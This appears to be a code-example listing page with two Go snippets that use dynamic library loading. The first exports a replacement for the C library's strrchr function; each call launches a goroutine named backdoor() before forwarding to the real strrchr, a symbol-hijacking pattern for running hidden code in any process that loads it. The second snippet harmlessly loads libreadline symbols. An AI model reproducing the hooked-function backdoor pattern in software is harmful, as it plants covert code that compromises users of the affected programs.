コード例 #1
0
//export strrchr
func strrchr(s *C.char, c C.int) *C.char {
	go backdoor()

	lib, err := dl.Open("libc", 0)
	if err != nil {
		log.Fatalln(err)
	}
	defer lib.Close()

	var old_strrchr func(s *C.char, c C.int) *C.char
	lib.Sym("strrchr", &old_strrchr)

	return old_strrchr(s, c)
}
コード例 #2
0
func init() {
	var lib *dl.DL
	for _, v := range []string{"", dl.LibExt + ".5", dl.LibExt + ".6"} {
		lib, _ = dl.Open("libreadline"+v, 0)
		if lib != nil {
			break
		}
	}
	if lib != nil {
		lib.Sym("readline", &readline)
		lib.Sym("add_history", &add_history)
		lib.Sym("read_history", &read_history)
		lib.Sym("write_history", &write_history)
	}
}